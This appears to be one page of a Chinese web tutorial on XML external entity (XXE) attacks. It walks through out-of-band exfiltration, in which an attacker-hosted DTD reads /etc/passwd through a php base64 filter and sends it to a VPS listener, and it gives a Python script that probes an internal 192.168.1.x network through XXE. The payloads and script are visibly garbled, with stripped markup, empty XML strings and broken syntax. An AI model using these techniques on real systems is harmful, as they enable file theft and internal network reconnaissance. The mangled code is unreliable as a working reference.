XXE从入门到放弃

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29

Payload的构造:
有了前面使用外部DTD文件来拼接内部DTD的参数实体的经验,我们可以知道,通过外部DTD的方式可以将内部参数实体的内容与外部DTD声明的实体的内容拼接起来,那么我们就可以有这样的设想:
客户端发送payload 1给web服务器
web服务器向vps获取恶意DTD,并执行文件读取payload2
web服务器带着回显结果访问VPS上特定的FTP或者HTTP
通过VPS获得回显(nc监听端口)
首先,我们使用ncat监听一个端口:

也可以用python创建一个建议的http服务。
python -m SimpleHTTPServer 端口
然后,我们构造payload:
我们选择使用外部DTD,在我们自己所能掌控(或是自己搭建)的主机上编写一个dtd文件:
//filter/read=convert.base64-encode/resource=/etc/passwd”>
send SYSTEM ‘监听的url+端口/?file;’>”>
%all;

我们注意到,第一个参数实体的声明中使用到了php的base64编码,这样是为了尽量避免由于文件内容的特殊性,产生xml解析器错误。
Payload如下:
xml version=”1.0” encoding=”utf-8” ?>
!DDOCTYPE root SYSTEM “dtd文件”>
root>&send;root>

如图,我们先声明一个外部的DTD引用,然后再xml文档内容中引用外部DTD中的一般实体。
开始攻击:

然后查看我们的端口监听情况,会发现我们收到了一个连接请求,问号后面的内容就是我们读取到的文件内容经过编码后的字符串:
Ps:
有时候也会出现报错的情况(这是我们在漏洞的代码中没有屏蔽错误和警告),比如我们这里的payload没有选用php的base64编码,这里报错了,但是同时也将所读取的内容爆了出来,只是特殊字符经过了HTML实体编码。

内网探测
xxe 由于可以访问外部 url,也就有类似 ssrf 的攻击效果,同样的,也可以利用 xxe 来进行内网探测。
可以先通过 file 协议读取一些配置文件来判断内网的配置以及规模,以便于编写脚本来探测内网。
一个 python 脚本实例:
import requests
import base64
#Origtional XML that the server accepts
#
#    user
#
def build_xml(string):
    xml = """"""
    xml = xml + "/r/n" + """"""
    xml = xml + "/r/n" + """ + '"' + string + '"' + """>]>"""
    xml = xml + "/r/n" + """"""
    xml = xml + "/r/n" + """    &xxe;"""
    xml = xml + "/r/n" + """"""
    send_xml(xml)
def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)
for i in range(1, 255):
    try:
        i = str(i)
        ip = '192.168.1.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
      print "error"
continue
运行起来大概是这样

上一页  [1] [2] [3] [4]  下一页